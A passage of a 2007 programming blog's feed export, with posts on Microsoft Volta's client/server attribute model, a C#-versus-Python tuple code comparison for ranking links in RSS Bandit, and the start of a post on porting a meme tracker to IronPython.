      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=c7fa2809-79d1-4773-8799-e349c88e6367</wfw:commentRss>
      <slash:comments>2</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
This time last year, <a href="http://research.microsoft.com/%7Eemeijer/">Erik Meijer</a> sent
me a paper about a new programming language project he was working on. I was high
on the social graph at that time and didn't get around to responding to Erik's paper
until this fall. The premise seemed fundamentally interesting; create an MSIL to Javascript
compiler which is conceptually similar to <a href="http://code.google.com/webtoolkit/">Google's
GWT</a> and <a href="http://www.nikhilk.net/ScriptSharpIntro.aspx">Nikhil Kothari's
Script#</a> then flip the traditional Web development script by allowing developers
to choose whether code runs on the server or on the client by simply decorating methods
with attributes. The last bit is the interesting innovation in Erik's project although
it is obscured by the C#/VB/MSIL to Javascript compiler aspects. 
</p>
        <p>
As an example, let's say you have a function like <code>ValidateAddress()</code>.
Whether this logic lives on the client (i.e. Javascript in the browser) or runs on
the server is really a function of how complicated that function actually ends up
being. Now imagine if when the time comes to refactor the function and move the validation
logic from the Web client to the server or vice versa, instead of rewriting Javascript
code in C#/IronPython/VB.NET/IronRuby/etc or vice versa you just add or remove a [RunAtOrigin]
attribute on the function. 
</p>
        <p>
This project shipped last week as <a href="http://labs.live.com/volta/">Microsoft
Volta</a>. You can learn a little more about it in Erik Meijer's post on Lambda the
Ultimate entitled <a title="http://lambda-the-ultimate.org/node/2563" href="http://lambda-the-ultimate.org/node/2563">Democratizing
the Cloud using Microsoft Live Labs Volta</a>. Try it out, it's an interesting project
that has legs.  
</p>
        <p>
          <b>Now playing:</b>
          <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Jay-Z">Jay-Z</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Pray&amp;artistTerm=Jay-Z">Pray</a></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=c7fa2809-79d1-4773-8799-e349c88e6367" />
      </body>
      <title>Microsoft Volta: Turning Traditional Web Development On It's Head</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,c7fa2809-79d1-4773-8799-e349c88e6367.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/12/09/MicrosoftVoltaTurningTraditionalWebDevelopmentOnItsHead.aspx</link>
      <pubDate>Sun, 09 Dec 2007 18:13:33 GMT</pubDate>
      <description>&lt;p&gt;
This time last year, &lt;a href="http://research.microsoft.com/%7Eemeijer/"&gt;Erik Meijer&lt;/a&gt; sent
me a paper about a new programming language project he was working on. I was high
on the social graph at that time and didn't get around to responding to Erik's paper
until this fall. The premise seemed fundamentally interesting; create an MSIL to Javascript
compiler which is conceptually similar to &lt;a href="http://code.google.com/webtoolkit/"&gt;Google's
GWT&lt;/a&gt; and &lt;a href="http://www.nikhilk.net/ScriptSharpIntro.aspx"&gt;Nikhil Kothari's
Script#&lt;/a&gt; then flip the traditional Web development script by allowing developers
to choose whether code runs on the server or on the client by simply decorating methods
with attributes. The last bit is the interesting innovation in Erik's project although
it is obscured by the C#/VB/MSIL to Javascript compiler aspects. 
&lt;/p&gt;
&lt;p&gt;
As an example, let's say you have a function like &lt;code&gt;ValidateAddress()&lt;/code&gt;.
Whether this logic lives on the client (i.e. Javascript in the browser) or runs on
the server is really a function of how complicated that function actually ends up
being. Now imagine if when the time comes to refactor the function and move the validation
logic from the Web client to the server or vice versa, instead of rewriting Javascript
code in C#/IronPython/VB.NET/IronRuby/etc or vice versa you just add or remove a [RunAtOrigin]
attribute on the function. 
&lt;/p&gt;
&lt;p&gt;
This project shipped last week as &lt;a href="http://labs.live.com/volta/"&gt;Microsoft
Volta&lt;/a&gt;. You can learn a little more about it in Erik Meijer's post on Lambda the
Ultimate entitled &lt;a title="http://lambda-the-ultimate.org/node/2563" href="http://lambda-the-ultimate.org/node/2563"&gt;Democratizing
the Cloud using Microsoft Live Labs Volta&lt;/a&gt;. Try it out, it's an interesting project
that has legs.&amp;nbsp; 
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Now playing:&lt;/b&gt; &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Jay-Z"&gt;Jay-Z&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Pray&amp;amp;artistTerm=Jay-Z"&gt;Pray&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=c7fa2809-79d1-4773-8799-e349c88e6367" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,c7fa2809-79d1-4773-8799-e349c88e6367.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=52ee2c8d-6c6a-4321-984b-ee118e0f93c6</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,52ee2c8d-6c6a-4321-984b-ee118e0f93c6.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,52ee2c8d-6c6a-4321-984b-ee118e0f93c6.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=52ee2c8d-6c6a-4321-984b-ee118e0f93c6</wfw:commentRss>
      <slash:comments>5</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
        </p>
        <p>
One of the things that has always frustrated me about programming in C# that it is
such a hassle to return multiple values from a method. You either have to create a
wrapper class whose entire purpose is to hold two or three variables or even worse
use <a href="http://msdn2.microsoft.com/en-us/vcsharp/aa336814.aspx">ref or out parameters</a>.
I used to get around this problem in C++ by using the <a href="http://msdn2.microsoft.com/en-us/library/t9zb6cdt(VS.80).aspx">pair
utility class</a> since I often wanted to deal with an object plus some
value associated with it. However this approach quickly breaks down when you have
more than two objects you want to associate temporarily for some processing.  
</p>
        <p>
For example, in the <a href="http://www.25hoursaday.com/weblog/2007/11/30/MemetrackingInRSSBandit.aspx">Top
Stories feature of RSS Bandit</a> I have some code that operates on a URL, its
weighted score and a list of all the posts that reference it. In C#, there’s
no good way to deal with those three objects as a single entity without wrapping
them in a class definition. In Python, it’s quite easy to do that using
tuples. Compare the following two blocks of code and notice how I don’t need the <code>RelationHrefEntry</code> and <code>RankedNewsItem</code> types
in the Python version of the code
</p>
        <p>
          <strong>C#:</strong>     <font color="#008000">/* Tally the votes,
only 1 vote counts per feed */</font></p>
        <blockquote dir="ltr" style="MARGIN-RIGHT: 0px">
          <code>
            <pre>
              <p>
 <font color="#008000" size="2">//RelationHrefEntry is (Href, Score, References),
RankedNewsItem is (NewsItem, Score)</font><font size="2"></font></p>
              <p>
                <font color="#2b91af" size="2">List</font>
                <font color="#800080" size="2">&lt;</font>
                <font color="#2b91af" size="2">RelationHRefEntry</font>
                <font color="#800080" size="2">&gt;</font>
                <font size="2"> weightedLinks </font>
                <font color="#800080" size="2">=</font>
                <font size="2">
                </font>
                <font color="#0000ff" size="2">new</font>
                <font size="2">
                </font>
                <font color="#2b91af" size="2">List</font>
                <font color="#800080" size="2">&lt;</font>
                <font color="#2b91af" size="2">RelationHRefEntry</font>
                <font color="#800080" size="2">&gt;</font>
                <font size="2">();
</font>
              </p>
              <p>
                <font color="#0000ff" size="2">foreach</font>
                <font size="2"> (</font>
                <font color="#2b91af" size="2">KeyValuePair</font>
                <font color="#800080" size="2">&lt;</font>
                <font color="#2b91af" size="2">RelationHRefEntry</font>
                <font size="2">, </font>
                <font color="#2b91af" size="2">List</font>
                <font color="#800080" size="2">&lt;</font>
                <font color="#2b91af" size="2">RankedNewsItem</font>
                <font color="#800080" size="2">&gt;&gt;</font>
                <font size="2"> linkNvotes </font>
                <font color="#0000ff" size="2">in</font>
                <font size="2"> allLinks)
{ 
</font>
              </p>
              <p>
                <font color="#2b91af" size="2"> Dictionary</font>
                <font color="#800080" size="2">&lt;</font>
                <font color="#0000ff" size="2">string</font>
                <font size="2">, </font>
                <font color="#0000ff" size="2">float</font>
                <font color="#800080" size="2">&gt;</font>
                <font size="2"> votesPerFeed </font>
                <font color="#800080" size="2">=</font>
                <font size="2">
                </font>
                <font color="#0000ff" size="2">new</font>
                <font size="2">
                </font>
                <font color="#2b91af" size="2">Dictionary</font>
                <font color="#800080" size="2">&lt;</font>
                <font color="#0000ff" size="2">string</font>
                <font size="2">, </font>
                <font color="#0000ff" size="2">float</font>
                <font color="#800080" size="2">&gt;</font>
                <font size="2">(); 
</font>
              </p>
              <p>
              </p>
              <p>
                <font color="#008000" size="2"> //pick the lower vote if multiple links from a particular
feed</font>
                <font size="2">
                </font>
              </p>
              <p>
                <font color="#0000ff" size="2"> foreach</font>
                <font size="2"> (</font>
                <font color="#2b91af" size="2">RankedNewsItem</font>
                <font size="2"> voteItem </font>
                <font color="#0000ff" size="2">in</font>
                <font size="2"> linkNvotes</font>
                <font color="#800080" size="2">.</font>
                <font size="2">Value)
{ 
</font>
              </p>
              <p>
                <font color="#0000ff" size="2"> string</font>
                <font size="2"> feedLink </font>
                <font color="#800080" size="2">=</font>
                <font size="2"> voteItem</font>
                <font color="#800080" size="2">.</font>
                <font size="2">Item</font>
                <font color="#800080" size="2">.</font>
                <font size="2">FeedLink;
</font>
              </p>
              <p>
                <font color="#0000ff" size="2"> if</font>
                <font size="2">(votesPerFeed</font>
                <font color="#800080" size="2">.</font>
                <font size="2">ContainsKey(feedLink)){ 
</font>
              </p>
              <p>
votesPerFeed[feedLink] <font color="#800080" size="2">=</font><font size="2"></font><font color="#2b91af" size="2">Math</font><font color="#800080" size="2">.</font><font size="2">Min(votesPerFeed[feedLink],
voteItem</font><font color="#800080" size="2">.</font><font size="2">Score); 
</font></p>
              <p>
}<font color="#0000ff" size="2">else</font><font size="2">{ 
</font></p>
              <p>
votesPerFeed<font color="#800080" size="2">.</font><font size="2">Add(feedLink, voteItem</font><font color="#800080" size="2">.</font><font size="2">Score); 
</font></p>
              <p>
linkNvotes<font color="#800080" size="2">.</font><font size="2">Key</font><font color="#800080" size="2">.</font><font size="2">References</font><font color="#800080" size="2">.</font><font size="2">Add(voteItem</font><font color="#800080" size="2">.</font><font size="2">Item); 
</font></p>
              <p>
} 
</p>
              <p>
} 
</p>
              <p>
                <font color="#0000ff" size="2"> float</font>
                <font size="2"> totalScore </font>
                <font color="#800080" size="2">=</font>
                <font size="2"> 0.0f;
</font>
              </p>
              <p>
                <font color="#0000ff" size="2"> foreach</font>
                <font size="2"> (</font>
                <font color="#0000ff" size="2">float</font>
                <font size="2"> value </font>
                <font color="#0000ff" size="2">in</font>
                <font size="2"> votesPerFeed</font>
                <font color="#800080" size="2">.</font>
                <font size="2">Values)
{ 
</font>
              </p>
              <p>
totalScore <font color="#800080" size="2">+=</font><font size="2"> value; 
</font></p>
              <p>
} 
</p>
              <p>
linkNvotes<font color="#800080" size="2">.</font><font size="2">Key</font><font color="#800080" size="2">.</font><font size="2">Score </font><font color="#800080" size="2">=</font><font size="2"> totalScore; 
</font></p>
              <p>
weightedLinks<font color="#800080" size="2">.</font><font size="2">Add(linkNvotes</font><font color="#800080" size="2">.</font><font size="2">Key); 
</font></p>
              <p>
}
</p>
              <p>
weightedLinks<font color="#800080" size="2">.</font><font size="2">Sort(</font><font color="#0000ff" size="2">delegate</font><font size="2">(</font><font color="#2b91af" size="2">RelationHRefEntry</font><font size="2"> x, </font><font color="#2b91af" size="2">RelationHRefEntry</font><font size="2"> y)
{ </font><font color="#0000ff" size="2">return</font><font size="2"> y</font><font color="#800080" size="2">.</font><font size="2">Score</font><font color="#800080" size="2">.</font><font size="2">CompareTo(x</font><font color="#800080" size="2">.</font><font size="2">Score);}
); 
</font></p>
              <p>
weightedLinks <font color="#800080" size="2">=</font><font size="2"> weightedLinks</font><font color="#800080" size="2">.</font><font size="2">GetRange(0,
numStories);
</font></p>
            </pre>
          </code>
        </blockquote>
        <p>
          <strong>Python:</strong>
        </p>
        <blockquote dir="ltr" style="MARGIN-RIGHT: 0px">
          <code>
            <pre>
              <p>
    <font color="#009f00"># tally the votes, only 1 vote counts per
feed</font><br />
    weighted_links = []<br />
    for link, votes in all_links.items():<br />
        site = {}<br />
        for weight, item, feedTitle in votes:   <font color="#009f00">#tuple
magic happens here</font>             
<br />
            site[feedTitle]
= min(site.get(feedTitle,1), weight)   <font color="#009f00">#Python
dictionaries are smarter than .NET’s</font> <br />
        weighted_links.append((sum(site.values()),
link))   <font color="#009f00">#more tuple magic, no need for manual
summing of values </font><br />
    weighted_links.sort()<br />
    weighted_links.reverse()
</p>
            </pre>
          </code>
        </blockquote>
        <p>
          <strong>Now playing:</strong>
          <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=UGK">UGK</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=One Day&amp;artistTerm=UGK">One
Day</a></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=52ee2c8d-6c6a-4321-984b-ee118e0f93c6" />
      </body>
      <title>Tuples are my Favorite Python Feature</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,52ee2c8d-6c6a-4321-984b-ee118e0f93c6.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/12/05/TuplesAreMyFavoritePythonFeature.aspx</link>
      <pubDate>Wed, 05 Dec 2007 04:00:32 GMT</pubDate>
      <description>&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
One of the things that has always frustrated me about programming in C# that it is
such a hassle to return multiple values from a method. You either have to create a
wrapper class whose entire purpose is to hold two or three variables or even worse
use &lt;a href="http://msdn2.microsoft.com/en-us/vcsharp/aa336814.aspx"&gt;ref or out parameters&lt;/a&gt;.
I used to get around this problem in C++ by using the &lt;a href="http://msdn2.microsoft.com/en-us/library/t9zb6cdt(VS.80).aspx"&gt;pair
utility class&lt;/a&gt;&amp;nbsp;since I often wanted to deal with&amp;nbsp;an object plus some
value associated with it. However this approach quickly breaks down when you have
more than two objects you want to associate temporarily for some processing. &amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
For example, in the &lt;a href="http://www.25hoursaday.com/weblog/2007/11/30/MemetrackingInRSSBandit.aspx"&gt;Top
Stories feature of RSS Bandit&lt;/a&gt;&amp;nbsp;I have some code that operates on a URL,&amp;nbsp;its
weighted score and a list of all the posts that reference it.&amp;nbsp;In C#, there’s
no good way to deal with those three&amp;nbsp;objects as a single entity without wrapping
them in a class definition.&amp;nbsp;In&amp;nbsp;Python, it’s quite easy to do that using
tuples. Compare the following two blocks of code and notice how I don’t need the &lt;code&gt;RelationHrefEntry&lt;/code&gt; and &lt;code&gt;RankedNewsItem&lt;/code&gt; types
in the Python version of the code
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;C#:&lt;/strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#008000&gt;/* Tally the votes,
only 1 vote counts per feed */&lt;/font&gt;
&lt;/p&gt;
&lt;blockquote dir=ltr style="MARGIN-RIGHT: 0px"&gt;&lt;code&gt;&lt;pre&gt;
&lt;p&gt;
&amp;nbsp;&lt;font color=#008000 size=2&gt;//RelationHrefEntry is (Href, Score, References),
RankedNewsItem is (NewsItem, Score)&lt;/font&gt;&lt;font size=2&gt;
&lt;/p&gt;
&lt;p&gt;
&gt;&lt;font color=#2b91af size=2&gt;List&lt;/font&gt;&lt;font color=#800080 size=2&gt;&amp;lt;&lt;/font&gt;&lt;font color=#2b91af size=2&gt;RelationHRefEntry&lt;/font&gt;&lt;font color=#800080 size=2&gt;&amp;gt;&lt;/font&gt;&lt;font size=2&gt; weightedLinks &lt;/font&gt;&lt;font color=#800080 size=2&gt;=&lt;/font&gt;&lt;font size=2&gt; &lt;/font&gt;&lt;font color=#0000ff size=2&gt;new&lt;/font&gt;&lt;font size=2&gt; &lt;/font&gt;&lt;font color=#2b91af size=2&gt;List&lt;/font&gt;&lt;font color=#800080 size=2&gt;&amp;lt;&lt;/font&gt;&lt;font color=#2b91af size=2&gt;RelationHRefEntry&lt;/font&gt;&lt;font color=#800080 size=2&gt;&amp;gt;&lt;/font&gt;&lt;font size=2&gt;();
&lt;/p&gt;
&lt;p&gt;
&gt;&lt;font color=#0000ff size=2&gt;foreach&lt;/font&gt;&lt;font size=2&gt; (&lt;/font&gt;&lt;font color=#2b91af size=2&gt;KeyValuePair&lt;/font&gt;&lt;font color=#800080 size=2&gt;&amp;lt;&lt;/font&gt;&lt;font color=#2b91af size=2&gt;RelationHRefEntry&lt;/font&gt;&lt;font size=2&gt;, &lt;/font&gt;&lt;font color=#2b91af size=2&gt;List&lt;/font&gt;&lt;font color=#800080 size=2&gt;&amp;lt;&lt;/font&gt;&lt;font color=#2b91af size=2&gt;RankedNewsItem&lt;/font&gt;&lt;font color=#800080 size=2&gt;&amp;gt;&amp;gt;&lt;/font&gt;&lt;font size=2&gt; linkNvotes &lt;/font&gt;&lt;font color=#0000ff size=2&gt;in&lt;/font&gt;&lt;font size=2&gt; allLinks)
{ 
&lt;/p&gt;
&lt;p&gt;
&gt;&lt;font color=#2b91af size=2&gt; Dictionary&lt;/font&gt;&lt;font color=#800080 size=2&gt;&amp;lt;&lt;/font&gt;&lt;font color=#0000ff size=2&gt;string&lt;/font&gt;&lt;font size=2&gt;, &lt;/font&gt;&lt;font color=#0000ff size=2&gt;float&lt;/font&gt;&lt;font color=#800080 size=2&gt;&amp;gt;&lt;/font&gt;&lt;font size=2&gt; votesPerFeed &lt;/font&gt;&lt;font color=#800080 size=2&gt;=&lt;/font&gt;&lt;font size=2&gt; &lt;/font&gt;&lt;font color=#0000ff size=2&gt;new&lt;/font&gt;&lt;font size=2&gt; &lt;/font&gt;&lt;font color=#2b91af size=2&gt;Dictionary&lt;/font&gt;&lt;font color=#800080 size=2&gt;&amp;lt;&lt;/font&gt;&lt;font color=#0000ff size=2&gt;string&lt;/font&gt;&lt;font size=2&gt;, &lt;/font&gt;&lt;font color=#0000ff size=2&gt;float&lt;/font&gt;&lt;font color=#800080 size=2&gt;&amp;gt;&lt;/font&gt;&lt;font size=2&gt;(); 
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&gt;&lt;font color=#008000 size=2&gt; //pick the lower vote if multiple links from a particular
feed&lt;/font&gt;&lt;font size=2&gt; 
&lt;/p&gt;
&lt;p&gt;
&gt;&lt;font color=#0000ff size=2&gt; foreach&lt;/font&gt;&lt;font size=2&gt; (&lt;/font&gt;&lt;font color=#2b91af size=2&gt;RankedNewsItem&lt;/font&gt;&lt;font size=2&gt; voteItem &lt;/font&gt;&lt;font color=#0000ff size=2&gt;in&lt;/font&gt;&lt;font size=2&gt; linkNvotes&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Value)
{ 
&lt;/p&gt;
&lt;p&gt;
&gt;&lt;font color=#0000ff size=2&gt; string&lt;/font&gt;&lt;font size=2&gt; feedLink &lt;/font&gt;&lt;font color=#800080 size=2&gt;=&lt;/font&gt;&lt;font size=2&gt; voteItem&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Item&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;FeedLink;
&lt;/p&gt;
&lt;p&gt;
&gt;&lt;font color=#0000ff size=2&gt; if&lt;/font&gt;&lt;font size=2&gt;(votesPerFeed&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;ContainsKey(feedLink)){ 
&lt;/p&gt;
&lt;p&gt;
votesPerFeed[feedLink] &gt;&lt;font color=#800080 size=2&gt;=&lt;/font&gt;&lt;font size=2&gt; &lt;/font&gt;&lt;font color=#2b91af size=2&gt;Math&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Min(votesPerFeed[feedLink],
voteItem&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Score); 
&lt;/p&gt;
&lt;p&gt;
}&gt;&lt;font color=#0000ff size=2&gt;else&lt;/font&gt;&lt;font size=2&gt;{ 
&lt;/p&gt;
&lt;p&gt;
votesPerFeed&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Add(feedLink, voteItem&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Score); 
&lt;/p&gt;
&lt;p&gt;
linkNvotes&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Key&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;References&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Add(voteItem&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Item); 
&lt;/p&gt;
&lt;p&gt;
} 
&lt;/p&gt;
&lt;p&gt;
} 
&lt;/p&gt;
&lt;p&gt;
&gt;&lt;font color=#0000ff size=2&gt; float&lt;/font&gt;&lt;font size=2&gt; totalScore &lt;/font&gt;&lt;font color=#800080 size=2&gt;=&lt;/font&gt;&lt;font size=2&gt; 0.0f;
&lt;/p&gt;
&lt;p&gt;
&gt;&lt;font color=#0000ff size=2&gt; foreach&lt;/font&gt;&lt;font size=2&gt; (&lt;/font&gt;&lt;font color=#0000ff size=2&gt;float&lt;/font&gt;&lt;font size=2&gt; value &lt;/font&gt;&lt;font color=#0000ff size=2&gt;in&lt;/font&gt;&lt;font size=2&gt; votesPerFeed&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Values)
{ 
&lt;/p&gt;
&lt;p&gt;
totalScore &gt;&lt;font color=#800080 size=2&gt;+=&lt;/font&gt;&lt;font size=2&gt; value; 
&lt;/p&gt;
&lt;p&gt;
} 
&lt;/p&gt;
&lt;p&gt;
linkNvotes&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Key&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Score &lt;/font&gt;&lt;font color=#800080 size=2&gt;=&lt;/font&gt;&lt;font size=2&gt; totalScore; 
&lt;/p&gt;
&lt;p&gt;
weightedLinks&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Add(linkNvotes&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Key); 
&lt;/p&gt;
&lt;p&gt;
}
&lt;/p&gt;
&lt;p&gt;
weightedLinks&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Sort(&lt;/font&gt;&lt;font color=#0000ff size=2&gt;delegate&lt;/font&gt;&lt;font size=2&gt;(&lt;/font&gt;&lt;font color=#2b91af size=2&gt;RelationHRefEntry&lt;/font&gt;&lt;font size=2&gt; x, &lt;/font&gt;&lt;font color=#2b91af size=2&gt;RelationHRefEntry&lt;/font&gt;&lt;font size=2&gt; y)
{ &lt;/font&gt;&lt;font color=#0000ff size=2&gt;return&lt;/font&gt;&lt;font size=2&gt; y&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Score&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;CompareTo(x&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;Score);}
); 
&lt;/p&gt;
&lt;p&gt;
weightedLinks &gt;&lt;font color=#800080 size=2&gt;=&lt;/font&gt;&lt;font size=2&gt; weightedLinks&lt;/font&gt;&lt;font color=#800080 size=2&gt;.&lt;/font&gt;&lt;font size=2&gt;GetRange(0,
numStories);
&lt;/p&gt;
&gt;&lt;/pre&gt;&lt;/code&gt;&lt;/blockquote&gt; 
&lt;p&gt;
&lt;strong&gt;Python:&lt;/strong&gt;
&lt;/p&gt;
&lt;blockquote dir=ltr style="MARGIN-RIGHT: 0px"&gt;&lt;code&gt;&lt;pre&gt;
&lt;p&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#009f00&gt;# tally the votes, only 1 vote counts per feed&lt;/font&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; weighted_links = []&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; for link, votes in all_links.items():&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; site = {}&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for weight, item, feedTitle in votes:&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color=#009f00&gt;#tuple
magic happens here&lt;/font&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; site[feedTitle]
= min(site.get(feedTitle,1), weight)&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color=#009f00&gt;#Python
dictionaries are smarter than .NET’s&lt;/font&gt;&amp;nbsp;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; weighted_links.append((sum(site.values()),
link))&amp;nbsp;&amp;nbsp; &lt;font color=#009f00&gt;#more tuple magic, no need for&amp;nbsp;manual
summing of values&amp;nbsp;&lt;/font&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; weighted_links.sort()&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; weighted_links.reverse()
&lt;/p&gt;
&lt;/code&gt;&gt;&lt;/blockquote&gt; 
&lt;p&gt;
&lt;strong&gt;Now playing:&lt;/strong&gt; &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=UGK"&gt;UGK&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=One Day&amp;amp;artistTerm=UGK"&gt;One
Day&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=52ee2c8d-6c6a-4321-984b-ee118e0f93c6" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,52ee2c8d-6c6a-4321-984b-ee118e0f93c6.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=9a5175fb-3058-47f8-b340-7619e670830c</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,9a5175fb-3058-47f8-b340-7619e670830c.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,9a5175fb-3058-47f8-b340-7619e670830c.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=9a5175fb-3058-47f8-b340-7619e670830c</wfw:commentRss>
      <slash:comments>3</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
My weekend project was to read <a href="http://www.diveintopython.org">Dive Into Python</a> and
learn enough Python to be able to port <a href="http://planet.intertwingly.net/memes.atom">Sam
Ruby's meme tracker</a> (<a href="http://intertwingly.net/stories/2006/09/05/mememe.py">source
code</a>) from CPython to Iron Python. Sam's meme tracker, shows the most popular
links from the past week from the blogs in his RSS subscriptions. A nice wrinkle Sam
added to his code is that more recent posts are weighted higher than older posts.
So a newly hot item with 3 or 4 links posted yesterday ends up ranking higher than
an item with 6 to 10 posts about it from five days ago. Using that sort of weighting
probably wouldn't have occurred to me if I just hacked the feature on my own, so I'm
glad I spent the time learning Sam's code. 
</p>
        <p>
There are a few differences between Sam's code and mine, the most significant being
that I support two modes; showing the most popular items from all unread posts and
showing the most popular items from the past week. The other differences mainly have
to do with the input types (Atom entries vs. RSS feeds) and using .NET Libraries like
System.Xml and System.IO instead of CPython libraries like libxml2 and blob. You can
see the difference between both approaches for determining top stories on my feed
subscriptions below 
</p>
        <p>
          <u>Top Stories in the Past Week</u>
        </p>
        <ol>
          <li>
            <a href="http://www.nytimes.com/2007/11/25/technology/25proto.html?ex=1353646800&amp;en=1ede36007f8baff4&amp;ei=5124&amp;partner=permalink&amp;exprod=permalink">Mobile
Web: So Close Yet So Far</a> (score: 1.71595943656)</li>
          <li>
            <a href="http://www.techcrunch.com/2007/11/22/the-secret-strategies-behind-many-viral-videos/">The
Secret Strategies Behind Many "Viral" Videos</a> (score: 1.52423410473)</li>
          <li>
            <a href="http://www.techcrunch.com/2006/09/08/live-documents-is-powerful-stuff/">Live
